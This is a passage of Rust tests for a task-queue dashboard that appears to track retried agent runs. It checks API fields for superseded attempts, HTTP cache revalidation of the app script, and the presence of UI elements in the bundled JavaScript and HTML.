20683 let out = task_outcome(&t, a, 3, read);
20684 assert!(out.finished_by.is_none());
20685 assert!(out.closed_by_hand);
20686 let latest = out.latest.expect("latest");
20687 assert_eq!(latest.id, c);
20688 assert_eq!(latest.status, None);
20689 assert_eq!(latest.outcome, "record unreadable");
20690
20691 write_run(dir.path(), c, RunStatus::Ready);
20693 let t = outcome_task(&[a, c], TaskStatus::Done);
20694 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20695 assert_eq!(out.finished_by.expect("finisher").id, c);
20696 assert!(!out.closed_by_hand);
20697
20698 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20700 assert!(task_outcome(&t, a, 3, read).is_latest);
20701 }
20702
20703 #[tokio::test]
20704 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20705 let fx = Fixture::start().await;
20710 let q = fx.queue();
20711 let runs = fx.runs();
20712 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20713 write_run(&runs, first, RunStatus::Blocked);
20714 write_run(&runs, second, RunStatus::Merged);
20715
20716 let mut t = Task::new(
20717 "one task".to_owned(),
20718 "do it".to_owned(),
20719 PathBuf::from("/repo"),
20720 Source::Human,
20721 );
20722 t.runs = vec![first.to_owned(), second.to_owned()];
20723 q.put(&mut t).expect("put");
20724
20725 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
20726 assert_eq!(earlier["superseded_by"], "dddd");
20727 assert_eq!(earlier["latest_attempt"]["id"], second);
20728 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
20729 assert_eq!(
20730 earlier["latest_attempt"]["resolved"], true,
20731 "the run that replaced it landed, so this one reads as settled"
20732 );
20733
20734 let later = fx.get(&format!("/api/runs/{second}")).await.json();
20735 assert!(
20736 later["superseded_by"].is_null(),
20737 "the latest attempt is not superseded by anything"
20738 );
20739 assert!(
20740 later["latest_attempt"].is_null(),
20741 "the latest attempt has no later attempt of its own"
20742 );
20743
20744 assert!(APP_JS.contains("run.latest_attempt"));
20751 assert!(APP_JS.contains("data-superseded"));
20752 assert!(APP_JS.contains("#/runs/${latest.id}"));
20753 }
20754
20755 #[tokio::test]
20756 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
20757 let fx = Fixture::start().await;
20763 let q = fx.queue();
20764 let runs = fx.runs();
20765 let (a, b, c) = (
20766 "20260901-000000-aaaa",
20767 "20260901-000000-bbbb",
20768 "20260901-000000-cccc",
20769 );
20770 write_run(&runs, a, RunStatus::Blocked);
20771 write_run(&runs, b, RunStatus::Blocked);
20772 write_run(&runs, c, RunStatus::Merged);
20773
20774 let mut t = Task::new(
20775 "retried twice".to_owned(),
20776 "do it".to_owned(),
20777 PathBuf::from("/repo"),
20778 Source::Human,
20779 );
20780 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
20781 q.put(&mut t).expect("put");
20782
20783 let view = fx.get(&format!("/api/runs/{a}")).await.json();
20784 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
20785 assert_eq!(
20786 view["latest_attempt"]["id"], c,
20787 "the chain's current head, not the intermediate Blocked retry"
20788 );
20789 assert_eq!(view["latest_attempt"]["resolved"], true);
20790
20791 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
20792 assert_eq!(mid["latest_attempt"]["id"], c);
20793 assert_eq!(mid["latest_attempt"]["resolved"], true);
20794 }
20795
20796 #[tokio::test]
20797 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
20798 let fx = Fixture::start().await;
20799 let q = fx.queue();
20800 let runs = fx.runs();
20801
20802 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
20805 write_run(&runs, still_blocked_a, RunStatus::Blocked);
20806 write_run(&runs, still_blocked_b, RunStatus::Blocked);
20807 let mut t1 = Task::new(
20808 "still stuck".to_owned(),
20809 "do it".to_owned(),
20810 PathBuf::from("/repo"),
20811 Source::Human,
20812 );
20813 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
20814 q.put(&mut t1).expect("put");
20815 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
20816 assert_eq!(view1["latest_attempt"]["resolved"], false);
20817 assert_eq!(view1["latest_attempt"]["status"], "blocked");
20818 assert_eq!(view1["latest_attempt"]["done"], true);
20819
20820 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
20822 write_run(&runs, run_a, RunStatus::Blocked);
20823 write_run(&runs, run_b, RunStatus::Implementing);
20824 let mut t3 = Task::new(
20825 "retrying".to_owned(),
20826 "do it".to_owned(),
20827 PathBuf::from("/repo"),
20828 Source::Human,
20829 );
20830 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20831 q.put(&mut t3).expect("put");
20832 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20833 assert_eq!(view3["latest_attempt"]["id"], run_b);
20834 assert_eq!(view3["latest_attempt"]["resolved"], false);
20835 assert_eq!(view3["latest_attempt"]["done"], false);
20836
20837 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20842 write_run(&runs, noop_a, RunStatus::Blocked);
20843 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20844 let mut t2 = Task::new(
20845 "claims done".to_owned(),
20846 "do it".to_owned(),
20847 PathBuf::from("/repo"),
20848 Source::Human,
20849 );
20850 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20851 q.put(&mut t2).expect("put");
20852 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20853 assert_eq!(
20854 view2["latest_attempt"]["resolved"], false,
20855 "an unverified no-op claim must not read as a confirmed finish"
20856 );
20857
20858 assert!(APP_JS.contains("latest.resolved"));
20861 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20864 assert!(APP_JS.contains("Latest attempt: "));
20865 assert!(APP_JS.contains("in flight"));
20866 assert!(APP_JS.contains("not resolved"));
20867 }
20868
20869 #[tokio::test]
20870 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20871 let fx = Fixture::start().await;
20872 let js = fx.get("/app.js").await;
20878 assert_eq!(js.status, 200);
20879 let tag = js
20880 .header("etag")
20881 .expect("an etag to revalidate against")
20882 .to_owned();
20883 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20884 assert_eq!(
20885 js.header("cache-control"),
20886 Some("no-cache, must-revalidate"),
20887 "the phone has to ask every time"
20888 );
20889
20890 let again = fx
20893 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20894 .await;
20895 assert_eq!(
20896 again.status, 304,
20897 "a deck it already has costs one round trip"
20898 );
20899 assert!(again.body.is_empty(), "304 carries no body");
20900
20901 let weak = fx
20904 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20905 .await;
20906 assert_eq!(weak.status, 304);
20907 let stale = fx
20908 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20909 .await;
20910 assert_eq!(stale.status, 200, "an older build must be replaced");
20911 assert!(stale.body.contains("renderRunActions"));
20912 }
20913
20914 #[test]
20915 fn the_task_detail_has_an_actions_fab_and_sheet() {
20916 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20917 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20918 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20919 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20921 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20922 assert!(APP_JS.contains("renderTaskActions(task);"));
20924 assert!(APP_JS.contains("renderTaskActions(null);"));
20925 let sheet = APP_JS
20927 .find("function renderTaskActions")
20928 .expect("sheet renderer");
20929 let body = &APP_JS[sheet..sheet + 3000];
20930 assert!(body.contains("changePriority("));
20931 assert!(body.contains("openTaskEdit(task)"));
20932 assert!(body.contains("renderTaskHoldBox(host"));
20933 assert!(body.contains("renderTaskDoneBox(host"));
20934 assert!(body.contains("renderTaskDeleteBox(host"));
20935 assert!(APP_JS.contains("API.priority(id)"));
20936 assert!(APP_JS.contains("API.deleteTask(id)"));
20937 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20939 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20941 }
20942
20943 #[test]
20944 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20945 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20946 let actions = INDEX_HTML
20947 .find("id=\"run-actions-box\"")
20948 .expect("actions box");
20949 assert!(task < actions, "the task entry comes first in the sheet");
20950 assert!(APP_JS.contains("renderRunTaskEntry"));
20951 assert!(APP_JS.contains("\"Open task \""));
20952 assert!(APP_JS.contains("started directly, no task"));
20954 assert!(APP_JS.contains("sheet-task-link"));
20955 assert!(APP_JS.contains("task-chip-link"));
20956 }
20957
20958 #[test]
20959 fn the_deck_never_sends_the_operator_to_a_terminal() {
20960 assert!(
20963 !APP_JS.contains("Run `magi fold` first"),
20964 "the deck must offer the fold, not prescribe a shell command"
20965 );
20966 assert!(APP_JS.contains("foldRun:"));
20967 assert!(APP_JS.contains("resumeRun:"));
20968 assert!(APP_JS.contains("renderRunActions"));
20969
20970 assert!(APP_JS.contains("armedFold"));
20972 assert!(APP_JS.contains("Yes, fold worktrees"));
20973
20974 assert!(APP_JS.contains("can no longer be resumed"));
20977 }
20978
20979 #[test]
20980 fn a_finished_run_explains_itself_with_its_own_last_line() {
20981 assert!(
20987 !APP_JS.contains("collapsed on agent quota"),
20988 "a stall must not be explained by a cause the deck did not check"
20989 );
20990 assert!(
20991 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20992 "and a block must not offer a guess with an `or` in it"
20993 );
20994
20995 assert!(
20999 APP_JS.contains("setText(r.event, run.event || \"\")"),
21000 "the run's last line is rendered unconditionally"
21001 );
21002 assert!(
21003 !APP_JS.contains("moving && run.event"),
21004 "and never gated on the run still moving"
21005 );
21006
21007 assert!(APP_JS.contains("lost to quota"));
21009 }
21010
21011 #[test]
21033 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21034 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21035 let shapes_body_start =
21036 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21037 let shapes_close = APP_JS[shapes_body_start..]
21038 .find("].map(")
21039 .expect("the shape list is closed by its done-computing .map(...)")
21040 + shapes_body_start;
21041 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21042
21043 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21044 for entry in shapes_src.split('{').skip(1) {
21045 let waiting = entry.contains("waiting: true");
21046 let dead = entry.contains("live: \"dead\"");
21047 let status_at =
21048 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21049 let status_end = entry[status_at..]
21050 .find('"')
21051 .expect("the status string is closed")
21052 + status_at;
21053 let parked = entry.contains("display_status: \"parked\"");
21054 shapes.push((
21055 waiting,
21056 entry[status_at..status_end].to_string(),
21057 dead,
21058 parked,
21059 ));
21060 }
21061 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21062
21063 let done_rule_marker = "done: !";
21067 let done_rule_at = APP_JS[shapes_close..]
21068 .find(done_rule_marker)
21069 .expect("the done rule follows the shape list")
21070 + shapes_close
21071 + done_rule_marker.len();
21072 let includes_at = APP_JS[done_rule_at..]
21073 .find(".includes(shape.status)")
21074 .expect("the done rule ends in .includes(shape.status)")
21075 + done_rule_at;
21076 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21077 .trim()
21078 .trim_start_matches('[')
21079 .trim_end_matches(']')
21080 .split(',')
21081 .map(|s| s.trim().trim_matches('"'))
21082 .filter(|s| !s.is_empty())
21083 .collect();
21084
21085 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21086 .into_iter()
21087 .map(|(waiting, status, dead, parked)| {
21088 let done = !not_done.contains(&status.as_str());
21089 (waiting, status, dead, parked, done)
21090 })
21091 .collect();
21092
21093 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21097 if waiting {
21098 return "waiting";
21099 }
21100 if dead
21101 && !parked
21102 && !matches!(
21103 status,
21104 "merged"
21105 | "ready"
21106 | "stalled"
21107 | "blocked"
21108 | "failed"
21109 | "verified_noop"
21110 | "superseded"
21111 | "already_in_base"
21112 )
21113 {
21114 return "stale";
21115 }
21116 match status {
21117 "merged" | "ready" => "landed",
21118 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21119 | "already_in_base" => "ended",
21120 _ => "flight",
21121 }
21122 }
21123
21124 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21127 match filter_key {
21128 "active" => !done,
21129 "flight" => !done && !waiting && !dead,
21130 "stale" => !done && !waiting && dead,
21131 "waiting" => waiting,
21132 "done" => done,
21133 "all" => true,
21134 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21135 }
21136 }
21137
21138 let compatible = |section: &str, filter_key: &str| {
21139 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21140 run_section(*waiting, status, *dead, *parked) == section
21141 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21142 })
21143 };
21144
21145 let expected = [
21150 ("waiting", [true, false, false, true, true, true]),
21151 ("stale", [true, false, true, false, false, true]),
21152 ("flight", [true, true, false, false, false, true]),
21153 ("landed", [false, false, false, false, true, true]),
21154 ("ended", [false, false, false, false, true, true]),
21155 ];
21156 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21157
21158 for (section, wants) in expected {
21159 for (filter_key, want) in filter_keys.iter().zip(wants) {
21160 assert_eq!(
21161 compatible(section, filter_key),
21162 want,
21163 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21164 );
21165 }
21166 }
21167
21168 assert!(
21171 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21172 );
21173 assert!(APP_JS.contains(
21174 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21175 ));
21176 assert!(APP_JS.contains(
21177 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21178 ));
21179 }
21180
21181 #[tokio::test]
21182 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21183 let dir = tempfile::tempdir().expect("tempdir");
21187 let explicit = dir.path().join("not-a-checkout");
21188 std::fs::create_dir_all(&explicit).expect("create dir");
21189 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21190
21191 let missing = dir.path().join("does-not-exist-at-all");
21192 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21193 }
21194
21195 #[test]
21196 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21197 assert!(APP_JS.contains("function statsDonutArcs"));
21198 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21199 assert!(APP_JS.contains("function statusInBucket"));
21201 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21202 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21203 let buckets = [
21204 "merged",
21205 "ready",
21206 "in_progress",
21207 "blocked",
21208 "failed",
21209 "verified_noop",
21210 "superseded",
21211 "stalled",
21212 ];
21213 for key in buckets {
21214 let var = format!("--verdict-{key}:");
21215 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21217 assert!(
21218 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21219 "{key}"
21220 );
21221 }
21222 }
21223}